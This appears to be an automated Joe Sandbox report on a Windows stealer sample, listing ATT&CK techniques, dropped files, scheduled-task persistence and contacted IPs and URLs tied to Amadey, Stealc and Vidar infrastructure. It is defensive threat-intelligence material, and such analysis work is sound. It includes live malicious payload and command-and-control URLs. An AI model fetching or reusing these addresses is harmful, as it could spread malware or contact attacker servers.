Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	851 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\rh[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsJDGCGHCGHC.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dllC	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php=C:	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpGHCGHC.exeata;	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpq.	100%	Avira URL Cloud	malware
http://31.41.244.11/files/rh.exeafc8506ncodedH88	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll=	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dlly	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phprograms	100%	Avira URL Cloud	malware
http://31.41.244.11/files/rh.exeafc85062384	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllU	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpC:	100%	Avira URL Cloud	malware
http://185.215.113.206w	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.238	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402414228_1EUMX2S6TUEXTBXLL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402369559_1P8IC1BLUXN6I3CCR&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732418458482&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732418458479&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732418452678&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	false		high
http://www.broofa.com	chromecache_536.11.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllC	file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/_default	QuotaManager.16.dr	false		high
http://185.215.113.206/c4becf79229cb002.phprograms	file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpGHCGHC.exeata;	file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.16.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllU	file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://docs.google.com/	manifest.json0.16.dr	false		high
https://www.youtube.com	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php=C:	skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.instagram.com	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://drive.google.com/	manifest.json0.16.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://www.messenger.com	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpq.	skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/mail/compose?isExtension=true	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://31.41.244.11/files/rh.exeafc8506ncodedH88	skotes.exe, 00000020.00000002.3438975021.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
https://i.y.qq.com/n2/m/index.html	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://www.deezer.com/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://web.telegram.org/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	false		high
http://31.41.244.11/files/rh.exeafc85062384	skotes.exe, 00000020.00000002.3438975021.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.16.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JJKFBFIJJECGCAAAFCBG.1.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.16.dr	false		high
https://vibe.naver.com/today	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	false		high
https://assets.msn.com	384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.16.dr	false		high
https://excel.new?from=EdgeM365Shoreline	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlly	file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ngineer	file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.16.dr	false		high
http://185.215.113.206/c4becf79229cb002.php8	file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_536.11.dr	false		high
https://www.google.com/chrome	content.js.16.dr, content_new.js.16.dr	false		high
https://www.tiktok.com/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll=	file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpD	file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.16.dr	false		high
https://chromewebstore.google.com/	manifest.json.16.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.16.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.16.dr	false		high
https://msn.comXIDv10	Cookies.17.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://chrome.google.com/webstore/	manifest.json.16.dr	false		high
https://y.music.163.com/m/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
https://bard.google.com/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.16.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	false		high
http://185.215.113.206w	file.exe, 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://web.whatsapp.com	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://m.kugou.com/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpC:	skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://outlook.live.com/mail/0/	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.16.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.16.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.138	unknown	United States	35994	AKAMAI-ASUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
40.79.173.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.39	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.31	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
204.79.197.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.57.90.149	unknown	United States	35994	AKAMAI-ASUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.140	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
3.167.69.129	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561681
Start date and time:	2024-11-24 04:19:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/294@22/28
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 172.217.19.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 142.250.181.99, 172.217.19.10, 172.217.19.202, 172.217.17.74, 172.217.17.42, 142.250.181.74, 172.217.19.170, 172.217.19.234, 142.250.181.42, 142.250.181.10, 172.217.21.42, 142.250.181.106, 142.250.181.138, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 172.217.17.46, 13.107.6.158, 172.165.69.228, 2.19.198.56, 2.19.198.65, 13.87.96.169, 2.16.158.48, 2.16.158.27, 2.16.158.81, 2.16.158.179, 2.16.158.40, 2.16.158.35, 2.16.158.192, 104.126.37.179, 104.126.37.154, 104.126.37.139, 104.126.37.185, 104.126.37.147, 104.126.37.162, 104.126.37.168, 23.32.238.240, 23.32.238.208, 23.32.238.105, 23.32.238.99, 142.251.40.163, 142.251.32.99
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, a1847.dscd.akamai.net, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, arc.msn.com, th.bing.com, msed
Execution Graph export aborted for target DocumentsJDGCGHCGHC.exe, PID 8324 because it is empty
Execution Graph export aborted for target file.exe, PID 884 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7052 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7500 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
04:21:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:20:42	API Interceptor	179x Sleep call for process: file.exe modified
22:22:02	API Interceptor	133x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
